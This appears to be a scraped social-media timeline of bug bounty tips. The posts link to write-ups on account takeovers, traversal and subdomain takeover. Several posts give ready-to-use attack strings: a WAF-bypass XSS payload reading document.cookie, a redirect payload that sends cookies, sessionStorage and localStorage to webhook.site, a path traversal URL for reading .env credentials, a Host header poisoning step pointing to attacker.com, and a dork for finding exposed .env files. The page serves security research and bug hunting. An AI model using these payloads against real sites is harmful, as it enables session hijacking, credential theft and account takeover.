Curiosity is The Engine of Achievement
Joined April 2022
- Tweets401
- Following250
- Followers4.7K
- Likes424
Pinned Tweet
“If you want to find the secrets of the universe, think in terms of energy, frequency and vibration.”
~ Nikola Tesla
Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥
Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
Remember to add payload to your list: 📝
credit: @ethical_h4ck3r_
#bugbountytips #bugbounty
/login?redirectUrl=javascript:fetch('webhook.site 0{method:'POST',%20body:JSON.stringify({cookies:document.cookie,sessionStorage:sessionStorage,localStorage:localStorage})})
credit: @JoaoGomes12243
#bugbountytips #BugBounty
I earned $$$$$ for my submission on bugcrowd.com/h/ahmadalzuriqi
Found a flaw in /api/users/$id/rest-password/ (admin panel):
OTP exposed inside JWT → reset password → new password.
→ Admin account takeover
credit: @ZuriqiAhmad
#BugBounty #bugbountytips
From a small mistake to make the full control over an internal ticketing system worth $$$$.
Checkout my latest writeup:
medium.com/@NeM0x00/from-a-s…
credit: @Yousef39960629
#bugbountytips #bugbounty #bughunting
Sensitive Information Disclosure(path Traversal)🔥
URL: http://IP_removed/index.php/%2e%2e/%2e%2e/.env
IMPACT: Database credentials, Laravel app_key.
credit: @datafuel0
#BugBounty #bugbountytip
My new writeup: 23000$ for Authentication Bypass & File Upload & Arbitrary File Overwrite
credit: @h4x0r_dz
#bugbountytips #BugBounty #infosec
medium.com/@h4x0r_dz/23000-f…
⚡ 'Datr' cookie theft and AI leads to Facebook account takeover via trusted device recovery ($24,000 bounty)
Blog: ysamm.com/uncategorized/2025…
Author: @samm0uda
credit: @mqst_
#bugbountytips #BugBounty #infosec
$500 bounty for DNS email takeover via improper domain verification.
A non-authorized DNS mail under the main domain was accepted as a company email, allowing account creation and data access.
credit: @jatav_ravi
#bugbountytips #BugBounty
Account Takeover via Password Reset Poisoning
Tips :-
1- During signup or password reset flow replace the Host header value with:- Host: attacker.com
2- Observe that the email verification or password reset link got poisoned
credit: @wadgamaraldeen
#bugbountytips
Subdomain Takeover via Unclaimed CNAME
1️⃣ dev(.)example(.)om → CNAME to unclaimed(.)project(.)hosting(.)com
2️⃣ project(.)hosting(.)com is not in use
3️⃣ Attacker creates a project at that provider with same name
4️⃣ Takes over dev(.)example(.)com
credit:@NullSecurityX
#bounty
high severity vulnerability 🔥
Low-priv got 401 on versioned endpoint. Removing v2 bypassed auth and exposed sensitive identity images.
Normal: /omni/get/images/v2 (401)
Bypass: /omni/get/images (succeeds)
credit: @mrdesoky0
#bugbountytips #BugBounty
Reflected XSS on Hyundai subdomain. 🎯
Payload:
"><svg/onload=confirm(1)>
#xss #bugbountytips #BugBounty
🔥 Low => Critical ?
Tip:-
When find phpinfo search about [db_password ,db_username]
credit: @111xNagashy
#bugbountytips #BugBounty
Google Dorks are still undefeated in 2026. 🔍
Found a "sussy" config leak today full SMTP access was just sitting there in plain text.
Impact verified, report sent, and awareness raised.
credit: @0x0smilex
#bugbountytips #ethicalhacking
Found an exposed .env file using a simple dork:
site:example.com filetype:env
#bugbountytips #BugBounty
Found a fantastic free web app for new Bug Bounty Hunters who can’t invest much into tools yet.
trinetlayer.com You can instantly jump into scanning and spend more time exploring, digging deeper, and sharpening your techniques.
credit: @Raman_Mohurle
#bugbountytips
Here is how chaining a self‑XSS with an HTML email injection resulted in account takeover
blog.ayoubnouri.me/blog/when……
credit: @ay0ub_n0uri
#bugbountytips #xss
PDF file for XSS, it can bypass any waf
for who looking for Stored XSS , and it can be changed to blind if you want to
Simply I encoded the payload as ASCII hex
You can edit the payload over notepad++
github.com/orwagodfather/…
credits: @GodfatherOrwa
#bugbountytips
A very good xss payload.🔥
<sCriPt x>(((confirm)))``</scRipt x>
credit: @viehgroup
#bugbountytips #xss #bugbounty
